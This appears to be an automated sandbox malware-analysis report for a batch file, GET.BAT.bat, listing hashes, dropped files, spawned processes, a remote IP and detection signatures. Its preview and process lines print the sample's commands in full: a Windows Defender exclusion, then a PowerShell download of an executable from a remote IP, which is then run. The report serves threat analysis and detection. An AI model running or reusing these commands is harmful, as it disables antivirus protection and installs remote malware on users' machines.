Automated Malware Analysis IOC Report for

Files

File Path

Type

Category

Malicious

Download

GET.BAT.bat

ASCII text

initial sample

Details

Filetype:	ASCII text
Entropy:	5.113009826212253
Filename:	GET.BAT.bat
Filesize:	245
MD5:	a37321b4b6c60e4935406af30dc5b07b
SHA1:	55fdb44f13bdec3d4a57611b9d26c365bbb57a2c
SHA256:	4bf83e772ddd8e1d86b12df9b2fd863361f08cc128f08b44511fc4050870a5f6
SHA512:	281c6331d17d9aac5f4fe821039db50891909a5b115b6659fd4fc41bf29f117bba49e65732a087f6d0eaab93a6b3842501cbc497641acece8a478c103c06a022
SSDEEP:	6:nRvafBn4eGgdEYliDgBnGznONypM0AavX0AP:nRvapndu+iEBnGqNypM0BP0M
Preview:	taskkill /IM calc.exe /F.mkdir C:\ProgramData\Temp && powershell.exe "Add-MpPreference -ExclusionPath 'C:\ProgramData\Temp'".powershell.exe "cd C:\ProgramData\Temp; curl http://185.216.70.170/working.exe -OutFile workersvc.exe; .\workersvc.exe".

Signature Hits	Behavior Group	Mitre Attack
URLs found in memory or binary data	Networking

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

data

dropped

Details

File:	C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Category:	dropped
Dump:	ModuleAnalysisCache.5.dr
ID:	dr_5
Target ID:	5
Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Type:	data
Entropy:	4.890472898059848
Encrypted:	false
Ssdeep:	192:6xoe5qpOZxoe54ib4ZVsm5emdqVFn3eGOVpN6K3bkkjo5OgkjDt4iWN3yBGHVQ9R:9rib4ZmVoGIpN6KQkj2Fkjh4iUxsT6YP
Size:	11608
Whitelisted:	false
Reputation:	moderate

Signature Hits	Behavior Group	Mitre Attack
Creates files inside the user directory	System Summary	Masquerading

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

data

dropped

Details

File:	C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Category:	dropped
Dump:	StartupProfileData-NonInteractive.3.dr
ID:	dr_4
Target ID:	3
Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Type:	data
Entropy:	0.34726597513537405
Encrypted:	false
Ssdeep:	3:Nlll:Nll
Size:	64
Whitelisted:	false
Reputation:	timeout

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_31fqjxli.dje.psm1

ASCII text, with no line terminators

dropped

Details

File:	C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_31fqjxli.dje.psm1
Category:	dropped
Dump:	__PSScriptPolicyTest_31fqjxli.dje.psm1.3.dr
ID:	dr_3
Target ID:	3
Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Type:	ASCII text, with no line terminators
Entropy:	4.038920595031593
Encrypted:	false
Ssdeep:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
Size:	60
Whitelisted:	false
Reputation:	timeout

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3kipnpzn.obr.psm1

ASCII text, with no line terminators

dropped

Details

File:	C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3kipnpzn.obr.psm1
Category:	dropped
Dump:	__PSScriptPolicyTest_3kipnpzn.obr.psm1.3.dr
ID:	dr_1
Target ID:	3
Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Type:	ASCII text, with no line terminators
Entropy:	4.038920595031593
Encrypted:	false
Ssdeep:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
Size:	60
Whitelisted:	false
Reputation:	timeout

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3sgxxbko.3o4.psm1

ASCII text, with no line terminators

dropped

Details

File:	C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3sgxxbko.3o4.psm1
Category:	dropped
Dump:	__PSScriptPolicyTest_3sgxxbko.3o4.psm1.5.dr
ID:	dr_7
Target ID:	5
Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Type:	ASCII text, with no line terminators
Entropy:	4.038920595031593
Encrypted:	false
Ssdeep:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
Size:	60
Whitelisted:	false
Reputation:	timeout

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_iezbsuek.dan.ps1

ASCII text, with no line terminators

dropped

Details

File:	C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_iezbsuek.dan.ps1
Category:	dropped
Dump:	__PSScriptPolicyTest_iezbsuek.dan.ps1.5.dr
ID:	dr_6
Target ID:	5
Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Type:	ASCII text, with no line terminators
Entropy:	4.038920595031593
Encrypted:	false
Ssdeep:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
Size:	60
Whitelisted:	false
Reputation:	timeout

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_kmnc1rfs.ga3.ps1

ASCII text, with no line terminators

dropped

Details

File:	C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_kmnc1rfs.ga3.ps1
Category:	dropped
Dump:	__PSScriptPolicyTest_kmnc1rfs.ga3.ps1.3.dr
ID:	dr_0
Target ID:	3
Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Type:	ASCII text, with no line terminators
Entropy:	4.038920595031593
Encrypted:	false
Ssdeep:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
Size:	60
Whitelisted:	false
Reputation:	timeout

Signature Hits	Behavior Group	Mitre Attack
Creates temporary files	System Summary

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_t213dwvo.qob.ps1

ASCII text, with no line terminators

dropped

Details

File:	C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_t213dwvo.qob.ps1
Category:	dropped
Dump:	__PSScriptPolicyTest_t213dwvo.qob.ps1.3.dr
ID:	dr_2
Target ID:	3
Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Type:	ASCII text, with no line terminators
Entropy:	4.038920595031593
Encrypted:	false
Ssdeep:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
Size:	60
Whitelisted:	false
Reputation:	timeout

Processes

Path

Cmdline

Malicious

C:\Windows\System32\cmd.exe

C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\GET.BAT.bat" "

Details

Is windows:	true
Is dropped:	false
PID:	6720
Target ID:	0
Parent PID:	2580
Name:	cmd.exe
Class:	cmd
Path:	C:\Windows\System32\cmd.exe
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\GET.BAT.bat" "
Size:	289792
MD5:	8A2122E8162DBEF04694B9C3E0B6CDEE
Time:	03:37:10
Date:	17/02/2025
Reason:	newprocess
Reputation:	high
Is admin:	true
Is elevated:	true
Modulebase:	0x7ff7804f0000
Modulesize:	421888
Wow64:	false

Signature Hits	Behavior Group	Mitre Attack
Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet	System Summary
Sigma detected: Powershell Defender Exclusion	System Summary
Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP	System Summary
Sigma detected: Usage Of Web Request Commands And Cmdlets	System Summary
Executes batch files	System Summary	Scripting
Sigma detected: Non Interactive PowerShell Process Spawned	System Summary
Spawns processes	System Summary	Process Injection

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe "Add-MpPreference -ExclusionPath 'C:\ProgramData\Temp'"

Details

Is windows:	true
Is dropped:	false
PID:	6996
Target ID:	3
Parent PID:	6720
Name:	powershell.exe
Class:	powershell
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Commandline:	powershell.exe "Add-MpPreference -ExclusionPath 'C:\ProgramData\Temp'"
Size:	452608
MD5:	04029E121A0CFA5991749937DD22A1D9
Time:	03:37:10
Date:	17/02/2025
Reason:	newprocess
Reputation:	high
Is admin:	true
Is elevated:	true
Modulebase:	0x7ff788560000
Modulesize:	462848
Wow64:	false

Signature Hits	Behavior Group	Mitre Attack
Adds a directory exclusion to Windows Defender	HIPS / PFW / Operating System Protection Evasion	Disable or Modify Tools
Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet	System Summary
Creates a process in suspended mode (likely to inject code)	HIPS / PFW / Operating System Protection Evasion	Process Injection
Sigma detected: Powershell Defender Exclusion	System Summary
Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP	System Summary
Sigma detected: Usage Of Web Request Commands And Cmdlets	System Summary
Sigma detected: Non Interactive PowerShell Process Spawned	System Summary
Spawns processes	System Summary	Process Injection

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe "cd C:\ProgramData\Temp; curl http://185.216.70.170/working.exe -OutFile workersvc.exe; .\workersvc.exe"

Details

Is windows:	true
Is dropped:	false
PID:	1148
Target ID:	5
Parent PID:	6720
Name:	powershell.exe
Class:	powershell
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Commandline:	powershell.exe "cd C:\ProgramData\Temp; curl http://185.216.70.170/working.exe -OutFile workersvc.exe; .\workersvc.exe"
Size:	452608
MD5:	04029E121A0CFA5991749937DD22A1D9
Time:	03:37:14
Date:	17/02/2025
Reason:	newprocess
Reputation:	high
Is admin:	true
Is elevated:	true
Modulebase:	0x7ff788560000
Modulesize:	462848
Wow64:	false

Signature Hits	Behavior Group	Mitre Attack
Adds a directory exclusion to Windows Defender	HIPS / PFW / Operating System Protection Evasion	Disable or Modify Tools
Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet	System Summary
Creates a process in suspended mode (likely to inject code)	HIPS / PFW / Operating System Protection Evasion	Process Injection
Sigma detected: Powershell Defender Exclusion	System Summary
Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP	System Summary
Sigma detected: Usage Of Web Request Commands And Cmdlets	System Summary
Sigma detected: Non Interactive PowerShell Process Spawned	System Summary
Spawns processes	System Summary	Process Injection

C:\Windows\System32\conhost.exe

C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Details

Is windows:	true
Is dropped:	false
PID:	6740
Target ID:	1
Parent PID:	6720
Name:	conhost.exe
Path:	C:\Windows\System32\conhost.exe
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Size:	862208
MD5:	0D698AF330FD17BEE3BF90011D49251D
Time:	03:37:10
Date:	17/02/2025
Reason:	newprocess
Reputation:	high
Is admin:	true
Is elevated:	true
Modulebase:	0x7ff7699e0000
Modulesize:	892928
Wow64:	false

Signature Hits	Behavior Group	Mitre Attack
Spawns processes	System Summary	Process Injection

C:\Windows\System32\taskkill.exe

taskkill /IM calc.exe /F

Details

Is windows:	true
Is dropped:	false
PID:	6900
Target ID:	2
Parent PID:	6720
Name:	taskkill.exe
Path:	C:\Windows\System32\taskkill.exe
Commandline:	taskkill /IM calc.exe /F
Size:	101376
MD5:	A599D3B2FAFBDE4C1A6D7D0F839451C7
Time:	03:37:10
Date:	17/02/2025
Reason:	newprocess
Reputation:	moderate
Is admin:	true
Is elevated:	true
Modulebase:	0x7ff67b9a0000
Modulesize:	118784
Wow64:	false

Signature Hits	Behavior Group	Mitre Attack
Creates a process in suspended mode (likely to inject code)	HIPS / PFW / Operating System Protection Evasion	Process Injection
Uses taskkill to terminate processes	HIPS / PFW / Operating System Protection Evasion	Disable or Modify Tools
Spawns processes	System Summary	Process Injection

C:\Windows\System32\wbem\WmiPrvSE.exe

C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding

Details

Is windows:	true
Is dropped:	false
PID:	2500
Target ID:	4
Parent PID:	752
Name:	WmiPrvSE.exe
Path:	C:\Windows\System32\wbem\WmiPrvSE.exe
Commandline:	C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Size:	496640
MD5:	60FF40CFD7FB8FE41EE4FE9AE5FE1C51
Time:	03:37:14
Date:	17/02/2025
Reason:	newprocess
Reputation:	high
Is admin:	false
Is elevated:	true
Modulebase:	0x7ff693ab0000
Modulesize:	516096
Wow64:	false

Signature Hits	Behavior Group	Mitre Attack
Spawns processes	System Summary	Process Injection

C:\Windows\System32\conhost.exe

C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Details

Is windows:	true
Is dropped:	false
PID:	7140
Target ID:	8
Parent PID:	6996
Name:	conhost.exe
Path:	C:\Windows\System32\conhost.exe
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Size:	862208
MD5:	0D698AF330FD17BEE3BF90011D49251D
Time:	03:37:32
Date:	17/02/2025
Reason:	newprocess
Reputation:	high
Is admin:	false
Is elevated:	true
Modulebase:	0x7ff7699e0000
Modulesize:	892928
Wow64:	false

Signature Hits	Behavior Group	Mitre Attack
Spawns processes	System Summary	Process Injection

URLs

Name

Malicious

http://185.216.70.170/working.exe

185.216.70.170

Details

Name:	http://185.216.70.170/working.exe
IP:	185.216.70.170
TargetID:	5
From Memory:	false
Current Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source:	network

Signature Hits	Behavior Group	Mitre Attack
Creates a process in suspended mode (likely to inject code)	HIPS / PFW / Operating System Protection Evasion	Process Injection
Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP	System Summary
Sigma detected: Usage Of Web Request Commands And Cmdlets	System Summary
Suricata IDS alerts with low severity for network traffic	Networking
Uses a known web browser user agent for HTTP communication	Networking	Application Layer Protocol
Connects to IPs without corresponding DNS lookups	Networking
Downloads files from webservers via HTTP	Networking	Application Layer Protocol Non-Application Layer Protocol Ingress Tool Transfer
Spawns processes	System Summary	Process Injection
URLs found in memory or binary data	Networking

Domains

Name

Malicious

bg.microsoft.map.fastly.net

199.232.214.172

IPs

Domain

Country

Malicious

185.216.70.170

unknown

Germany

Details

IP:	185.216.70.170
TargetID:	5
Current Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Country:	Germany
Countrycode:	DEU
ASN number:	43659
ASN name:	CLOUDCOMPUTINGDE
Private:	false

Signature Hits	Behavior Group	Mitre Attack
Creates a process in suspended mode (likely to inject code)	HIPS / PFW / Operating System Protection Evasion	Process Injection
Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP	System Summary
Sigma detected: Usage Of Web Request Commands And Cmdlets	System Summary
Suricata IDS alerts with low severity for network traffic	Networking
Uses a known web browser user agent for HTTP communication	Networking	Application Layer Protocol
Connects to IPs without corresponding DNS lookups	Networking
Downloads files from webservers via HTTP	Networking	Application Layer Protocol Non-Application Layer Protocol Ingress Tool Transfer
Spawns processes	System Summary	Process Injection
URLs found in memory or binary data	Networking

Registry

Path

Value

Malicious

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32

EnableFileTracing

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32

EnableAutoFileTracing

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32

EnableConsoleTracing

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32

FileTracingMask

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32

ConsoleTracingMask

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32

MaxFileSize

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32

FileDirectory